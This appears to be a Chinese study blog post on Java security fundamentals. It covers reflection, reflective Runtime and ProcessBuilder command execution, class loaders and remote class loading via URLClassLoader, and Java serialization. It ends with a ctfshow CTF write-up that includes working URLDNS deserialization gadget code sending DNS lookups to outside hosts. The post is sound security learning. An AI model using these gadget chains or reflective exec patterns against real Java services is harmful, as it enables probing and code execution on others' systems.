JAVA安全基础

发布于 2025-04-02  232 次阅读


最近也是不到两周速通了一遍java基础,感觉比上一次轻松许多,但是一些概念还是有些模糊,但是java安全这块还是得早学为好。所以接下来的文章主要就是一些java安全的学习与心得。

反射

对象可以通过反射获取他的类,类可以通过反射拿到所有⽅法(包括私有)通过java语言中的反射机制可以操作字节码文件,可以读和修改字节码文件,刚开始学习java的时候觉得反射多此一举,但反射可以为java这种静态语言加上动态特性,就像php中的一句话木马那样,给我们提供了入侵条件。

获取类

获取类的方法有很多,这里直接给出4种方法

//反射实际上就是加载类,获取学生类的字节码
        Class c1 = Student.class;
        System.out.println(c1.getName());//全类名
        System.out.println(c1.getSimpleName());//Student

        //获取方法2:forName
        Class c2 = Class.forName("com.hshdgyq.D34_reflect.Student");

        //方法3:利用对象的getClass
        Student s = new Student();
        Class c3 = s.getClass();
        System.out.println(c3.getName());

        //方法4:利用ClassLoader加载类,注意forName的静态JVM会装载类,并执行static()中的代码,这里不会
        Class c4 = ClassLoader.getSystemClassLoader().loadClass("com.hshdgyq.D34_reflect.Student");

获取构造器、类方法和获取类成员变量方法类似,这里不过多坠诉。

注意forName在初始化时会先调用static{},再调用{},最后才会调用构造函数。

反射创建类对象

newInstance()方法

Class c = Cat.class;
Object o = c.newInstance();

在获取class对象后,可以直接反射创建类对象

invoke(obj,args)方法

方法.invoke(类或类对象),但要注意的是:
  • 如果调用这个方法是普通方法,第一个参数就是类对象;
  • 如果调用这个方法是静态方法,第一个参数就是类;
Class c = Cat.class;
Method run = c.getDeclaredMethod("run");
Cat cat = new Cat();

//Object cat = c.newInstance();
run.invoke(cat);

setAccessible(true) 暴力反射

当使用的类是无参构造或者构造函数是私有的,那么我们就没有访问权限,在Runtime中可以调用getRuntime这个静态方法获取构造函数,但是如果没提供此类方法又该如何,此时可以利用setAccessible(true)方法禁止访问控制权限从而实现暴力反射。我们以Runtime的rce为例子看一下:

package com.hshdgyq.hello;

import java.lang.reflect.Constructor;

public class Test {
    public static void main(String[] args) {
        try {
            Class c = Class.forName("java.lang.Runtime");
            Constructor ct = c.getDeclaredConstructor();
            ct.setAccessible(true);
            c.getMethod("exec", String.class).invoke(ct.newInstance(),"calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里Runtime是无参构造,要进行反射需要禁止权限的访问,通过反射获取exec方法,由于这是一个普通方法,所以invoke中传入的是类对象,执行计算器。

ProcessBuilder

如果一个类没有无参构造函数,并且也没有类似getRuntime这种方法,这里给出如下例子:

        String[] command = {"/bin/bash","-c","echo 111>1.txt"};
Class clazz = Class.forName("java.lang.ProcessBuilder");
Constructor getconstructor = clazz.getConstructor(List.class);
Object exec = getconstructor.newInstance(Arrays.asList(command));
((ProcessBuilder)exec).start();

由于ProcessBuilder存在多个重载的构造函数,所以需要在反射方法中明确其类型,比如这里接受的参数就是列表类型,先通过forName反射拿到类,然后获取类构造器,再实例化对象,最后强制类型转换执行。但是一般在漏洞利用时,是不存在会让你强制类型转换的,所以我们可以想到利用invoke直接执行start

clazz.getMethod("start").invoke(exec)

当然也可以传入可变长类型的参数,由于可变长参数在java编译时会编译为数组,此时只需要传入数组即可,这里不再过多演示

public class processBuilderMain {
    public static void main(String[] args) throws Exception {
        String[][] command = new String[][]{{"/bin/bash","-c","echo 111>1.txt"}};
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        Constructor getconstructor = clazz.getConstructor(String[].class);
        Object exec = getconstructor.newInstance(command);
        //((ProcessBuilder)exec).start();
        clazz.getMethod("start").invoke(exec);
    }
}

类加载机制(ClassLoader)

java在处理文件时,会将java文件编译成class文件,在JVM虚拟机中,解析class文件的二进制内容,最终执行javap生成的字节码。由于java中所有文件都可以看做是一个类,而所有类都必须经过JVM加载后才能执行,这里ClassLoader的作用就是来加载java类文件。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)Extension ClassLoader(扩展类加载器)App ClassLoader(系统类加载器)AppClassLoader是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader加载类。这里先创建一个Test类,对Test类进行测试:

ClassLoader c = Test.class.getClassLoader();//未指定加载器
System.out.println(c);
System.out.println(c.getParent());
System.out.println(c.getParent().getParent());

输出如下:

sun.misc.Launcher$AppClassLoader@18b4aac2
sun.misc.Launcher$ExtClassLoader@1b6d3586
null

可以看到,在没有指定加载器时,会使用默认的AppClassLoader类加载器进行加载,我们查看其父加载器,可以看到其父加载器就是ExtClassLoader,继续取父加载器,返回null,这里需要注意的是,这几个加载器都是属于URLClassLoader的子类,也就是说父加载器并不是父类,他们不是一个概念。实际上我们可以进入Launcher类,因为在启动app时会由这个类先来加载所有的类:

不难看出,在创建扩展加载器时,并没有指定父加载器,所以其父加载器为null,但是创建应用加载器时,指定了父加载器为扩展加载器。但是Bootstrap ClassLoader加载器是可以作为扩展加载器的父加载器的,我们知道Bootstrap ClassLoader并不属于一个java类,它是由C++编写的,实现与JVM层,我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。所以我们在获取扩展加载器的双亲时,会返回null。这主要是依托于双亲委托机制,先由自己在缓存中查找类是否已经被加载成功,如果没有,则会交给父加载器查找,直到Bootstrap ClassLoader类加载器,若还是没找到,则会重新返回让子加载器精确查找。

ClassLoader类有五大核心方法:loadClass(加载指定类)、findClass(查找指定类)、findLoadedClass(查找JVM加载过的类)、defineClass(定义一个java类)、resolveClass(链接指定Java类)。我们通过代码来了解一下:

在调用loadClass方法后,会先调用findLoadedClass方法,在已经加载的类中查看我们要加载的类是否已经加载,如果没有,且在父加载器不为null的情况下,再次调用父加载器的loadClass方法,如果父加载器为null,则会调用Bootstrap ClassLoader加载器,如果还是没有找到,最后会调用findClass方法,如果最后找到了此类,并且resolve参数也是在true的情况下,此时会调用resolveClass方法生成类对象,最后将加载的类返回。这里可以看出,loadClass方法是利用了双亲委托机制的。

defineClass方法可以用于自定义加载器,一般步骤:编写一个类继承ClassLoader类------>然后重写findClass方法,在findClass方法中调用defineClass方法

这里我们先写一个HelloWorld类,在类中实现了一个sayHello的方法,我们自定义加载器加载这个类并调用其方法

//MyClassLoader
public class MyClassLoader extends ClassLoader{
    private static String MyClassName = "com.hshdgyq.hello.HelloWorld";

    //HelloWorld字节码
    private static byte[] bytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 52, 0, 31, 10, 0, 6, 0, 17, 9, 0, 18, 0, 19, 8, 0, 20, 10, 0, 21, 0, 22, 7, 0,
            23, 7, 0, 24, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0,
            15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108,
            86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 30, 76, 99, 
            111, 109, 47, 104, 115, 104, 100, 103, 121, 113, 47, 104, 101, 108, 108, 111, 47, 72, 101, 108, 108, 111, 
            87, 111, 114, 108, 100, 59, 1, 0, 8, 115, 97, 121, 72, 101, 108, 108, 111, 1, 0, 10, 83, 111, 117, 114, 99, 
            101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 
            7, 0, 8, 7, 0, 25, 12, 0, 26, 0, 27, 1, 0, 11, 72, 101, 108, 108, 111, 32, 119, 111, 114, 108, 100, 7, 0, 28, 12, 
            0, 29, 0, 30, 1, 0, 28, 99, 111, 109, 47, 104, 115, 104, 100, 103, 121, 113, 47, 104, 101, 108, 108, 111, 47, 72, 101, 
            108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116,
            1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76,
            106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47,
            105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40,
            76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 5, 0, 6, 0, 0, 0, 0, 0,
            2, 0, 1, 0, 7, 0, 8, 0, 1, 0, 9, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 10, 0, 0, 0, 6, 0,
            1, 0, 0, 0, 5, 0, 11, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 12, 0, 13, 0, 0, 0, 1, 0, 14, 0, 8, 0, 1, 0, 9, 0, 0, 0, 55, 0, 2,
            0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 2, 0, 10, 0, 0, 0, 10, 0, 2, 0, 0, 0, 8, 0, 8, 0, 9, 0, 11, 0,
            0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 12, 0, 13, 0, 0, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16
    };

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        if (name.equals(MyClassName)){
            return defineClass(MyClassName,bytes,0,bytes.length);
        }

        return super.findClass(name);
    }
}
//test
import java.lang.reflect.Method;

public class Test {
    public static void main(String[] args) throws Exception {
        MyClassLoader mc = new MyClassLoader();

        try {
            Class testClass = mc.loadClass("com.hshdgyq.hello.HelloWorld");

            //反射拿到测试类
            Object t = testClass.newInstance();
            String name = t.getClass().getName();
            System.out.println(name);
            //拿到方法执行
            Method method = t.getClass().getDeclaredMethod("sayHello");
            method.invoke(t);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
//com.hshdgyq.hello.HelloWorld
//Hello world

通常我们可以利用自定义类加载器,在webshell中加载并调用我们自己所编写了类对象。

URLClassLoader

这是ClassLoader的一个继承类,它可以远程加载资源,利用远程加载,我们可以加载远程的jar、class或类来实现远程的类方法调用。

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻
    找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

这里我们先写一个HelloWorld类

public class HelloWorld {
    public void sayHello(){
        System.out.println("Hello world");
    }
}

将其编译为class文件后放进小皮里,这里我直接放进的127.0.0.1,然后远程加载这个class文件

package com.hshdgyq.hello;

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class HelloClassLoader {
    public static void main(String[] args) {

        try {
            URL[] url = new URL[]{new URL("http://127.0.0.1/")};
            URLClassLoader ld = URLClassLoader.newInstance(url);
            Class c = ld.loadClass("HelloWorld");
            Object t = c.newInstance();
            Method m = c.getMethod("sayHello");
            m.invoke(t);

            c.newInstance();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

可以看到这个类是可以被加载成功的,我们也可以直接调用类中的sayHello方法。所以如果我们控制了受害机的ClassLoader的基础路径为我们的一个http服务,那么我们就可以随意加载我们服务中的文件,从而实现任意代码执行。

序列化与反序列化

常见漏洞触发点

  • JDBC反序列化
  • JSON反序列化

基本原理

序列化和反序列化核心原理就是利用ObjectOutputStream.writeObject()将序列化内容写入,利用ObjectInputStream.readObject()将反序列化内容取出,在反序列化过程中,ObjectStreamClass.newInstance()获取并调用离对象最近的非Serializable的父类的无参构造方法 (若不存在,则返回null) 创建对象实例,所以序列化前传入的是有参构造,在反序列化后最终得到的结果将是调用无参构造的结果,如果没有无参构造,则返回null

Animal.java

public class Animal{
    private String color;

    public Animal() {//没有无参构造将会报错
        System.out.println("调用 Animal 无参构造");
    }

    public Animal(String color) {
        this.color = color;

        System.out.println("调用 Animal 有 color 参数的构造");
    }

    @Override
    public String toString() {
        return "Animal{" +
                "color='" + color + '\'' +
                '}';
    }
}

BlackCat.java

import java.io.Serializable;

public class BlackCat extends Animal implements Serializable {
    private static final long serialVersionUID = 2004819497554156226L;
    private String name;

    public BlackCat() {
        super();
        System.out.println("调用黑猫的无参构造");
    }

    public BlackCat(String color, String name) {
        super(color);
        this.name = name;
        System.out.println("调用黑猫有 color 参数的构造");
    }

    @Override
    public String toString() {
        return "BlackCat{" +
                "name='" + name + '\'' +super.toString() +'\'' +
                '}';
    }
}

Main.java

import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;

public class Main {
    private static final String FILE_PATH = "./super.bin";

    public static void main(String[] args) throws Exception {
        serializeAnimal();
        deserializeAnimal();
    }

    private static void serializeAnimal() throws Exception {
        BlackCat black = new BlackCat("black", "Black Cat");
        System.out.println("序列化前:"+ black);
        System.out.println("------------serialization------------");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(black);
        oos.flush();
        oos.close();
    }

    private static void deserializeAnimal() throws Exception {
        System.out.println("------------deserialization------------");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        BlackCat black = (BlackCat) ois.readObject();
        ois.close();
        System.out.println(black);
    }
}

最终输出为:

调用 Animal 有 color 参数的构造
调用黑猫有 color 参数的构造
序列化前:BlackCat{name='Black Cat'Animal{color='black'}'}
------------serialization------------
------------deserialization------------
调用 Animal 无参构造
BlackCat{name='Black Cat'Animal{color='null'}'}

我们来简单解析一下代码,我们定义了Animal的序列化和反序列化方法,new ObjectOutputStream(new FileOutputStream(FILE_PATH))在文件和对象直接创建一个通道,将反序列化数据写入文件,将反序列化数据从文件读出。这里可以看出,即使父类不支持序列化,但是子类支持,那么就可以对子类进行序列化,同时由于反序列化调用了无参构造,所以这里的color被置为了null

另外需要注意的是,如果在一个允许序列化的类中,调用了一个其他不允许序列化的类对象,那么将会序列化失败并报错,此时可以将调用的类加上implements Serializable可以顺利序列化

serialVersionUID

序列化ID,作用是保证版本一致性,在反序列化过程中JVM会对字节流中的序列化ID和本地实体类中的序列化ID进行比较,如果相同,那么进行反序列化,否则报错。没有声明序列化ID,那么就会在java编译class文件时自动生成,只有在同一次生成的class文件中才会有相同的序列化ID,如果修改本地类中的字段则会导致序列化ID不一致,此时可以手动添加相同序列化ID字段即可。

Externalizable

java.io.Externalizablejava.io.Serializable几乎一样,只是java.io.Externalizable接口定义了writeExternalreadExternal方法需要序列化和反序列化的类实现

import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;

public class Persion implements Externalizable {
    private static final long serialVersionUID = 3777107612126722884L;
    private String name;
    private int age;

    public Persion(){
        System.out.println("Persion constructor called");
    }
    public Persion(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        System.out.println("Persion writeExternal");
        out.writeObject(name);
        out.writeInt(age);
    }

    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        System.out.println("Persion readExternal");
        name = (String) in.readObject();
        age = in.readInt();
    }
    @Override
    public String toString() {
        return "Persion [name=" + name + ", age=" + age + "]";
    }
}

transient

此方法可以标记成员变量,让其不参与序列化操作,具体:

import java.io.Serializable;
import java.util.Arrays;

public class MyList implements Serializable {

    private static final long serialVersionUID = -7373841644572547270L;
    private String name;

    /*
    transient 表示该成员 arr 不需要被序列化
     */
    private transient Object[] arr;

    public MyList() {
    }

    public MyList(String name) {
        this.name = name;
        this.arr = new Object[100];
        /*
        给前面30个元素进行初始化
         */
        for (int i = 0; i < 30; i++) {
            this.arr[i] = i;
        }
    }

    @Override
    public String toString() {
        return "MyList{" +
                "name='" + name + '\'' +
                ", arr=" + Arrays.toString(arr) +
                '}';
    }

    //-------------------------- 自定义序列化反序列化 arr 元素 ------------------
    private void writeObject(java.io.ObjectOutputStream s)
            throws java.io.IOException {
        //执行 JVM 默认的序列化操作
        s.defaultWriteObject();

        //手动序列化 arr  前面30个元素
        for (int i = 0; i < 30; i++) {
            s.writeObject(arr[i]);
        }
    }

    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {

        s.defaultReadObject();
        arr = new Object[30];

        // Read in all elements in the proper order.
        for (int i = 0; i < 30; i++) {
            arr[i] = s.readObject();
        }
    }
}

这里我们不全部序列化,将arr先标记为不序列化对象,然后手动序列化,这样可以大大节省空间,如果全部序列化,那么30号之后全为null

序列化前:MyList{name='hshdgyq', arr=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null]}
------------serialization------------
------------deserialization------------
MyList{name='hshdgyq', arr=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29]}

相关例题

URLDNS

ctfshow-web846考的就是URLDNS,ysoserial基本集成了很多常见的payload,但是我用ysoserial没能打通,甚至构造出来的payload都不一样

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
    public static void serialize(Object obj) throws IOException{
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

    public static void main(String[] args) throws Exception{
        URL url=new URL("https://fbf17d68-0b51-4c35-98f8-0365ba9d3fe0.challenge.ctf.show/");
        Class<?> c=url.getClass();
        Field hashcode=c.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,1);
        HashMap<URL,Integer> h = new HashMap<URL,Integer>();
        h.put(url,1);
        hashcode.set(url,-1);
        serialize(h);
    }
}


现在我们来详细解读一下URLDNS这条链子
把github上ysoserial先拿下来,然后看到有pom.xml说明是个maven项目,下载一下pom中的依赖,然后找到入口点为GeneratePayload(但是这里实际上每个payload都有入口函数可以直接执行),在设置中配好参数

先看看链子生成代码:

public Object getObject(final String url) throws Exception {

                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); 
                URL u = new URL(null, url, handler); 
                ht.put(u, url); 

                Reflections.setFieldValue(u, "hashCode", -1);

                return ht;
        }

这里触发点就是put方法,先实例化HashMap和URl,将url传入hashmap,我们跟进这个put方法

发现调用的是putVal,这里传入的是url哈希、url以及value,由于反序列化触发的是readObject这个方法,我们来到这个方法

 private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

可以看到,此方法同样调用putVal这个方法,继续跟进hash

可以看到key是又调用了自己的hashcode,继续跟进hashcode

这里的hashcode方法实际上就是通过判断hashCode的值,来作出不同的策略,不为-1直接返回hashCode,否则将会重新计算hashCode,前面生成链子的代码中是将hashCode设置为了-1,所以这里实际上就是重新计算了这个key的hash,那么继续跟进hashCode

先通过getProtocol获取了传入url的协议类型,然后通过getHostAddress来获取主机名,也就是进行dns查询,我们来看看他的用源码

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这里getByName方法就是获取到ip地址,但是生成链子的代码中,重写了getHostAddress方法

protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }

直接返回了null,为什么呢?我们注意到如果不重写这个方法,那么在序列化的过程中将会触发getByName这个方法从而导致DNS请求被触发,反序列化时此方法不再被触发。

这条链子基本就结束了,那么反序列化链子流程:

HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

那么可以根据ysoserial的原理,自己写一条链子出来:

序列化:

package ysoserial;

import org.junit.Test;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class CiTest {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp.bin"));
        oos.writeObject(obj);
    }

    public static void main(final String[] args) throws Exception {
        HashMap h = new HashMap();
        URL u = new URL("http://u7u3sa.dnslog.cn");
        Class c = u.getClass();
        Field f = c.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(u,1111);
        h.put(u,1);
        f.set(u,-1);
        serialize(h);

    }
}

反序列化:

package ysoserial;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class ddTest {
    public static Object unserialize(String f) throws Exception {
        ObjectInputStream ios = new ObjectInputStream(new FileInputStream(f));
        Object obj= ios.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception {
        unserialize("exp.bin");
    }
}

只需要通过两次对hashCode赋值,第一次不为-1执行put后此时会返回直接返回hashCode,不会计算hashCode,那么就不会触发NDS查询,在put方法后再改为-1,此时进行反序列化会触发DNS查询。

先后执行序列化代码和反序列化代码后:

这条链子的目标就是最终能够通过反序列化触发DNS查询,实际上就是通过反序列化触发的readObject方法一步一步诱导执行getByName方法,所以还是挺简单的。


一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。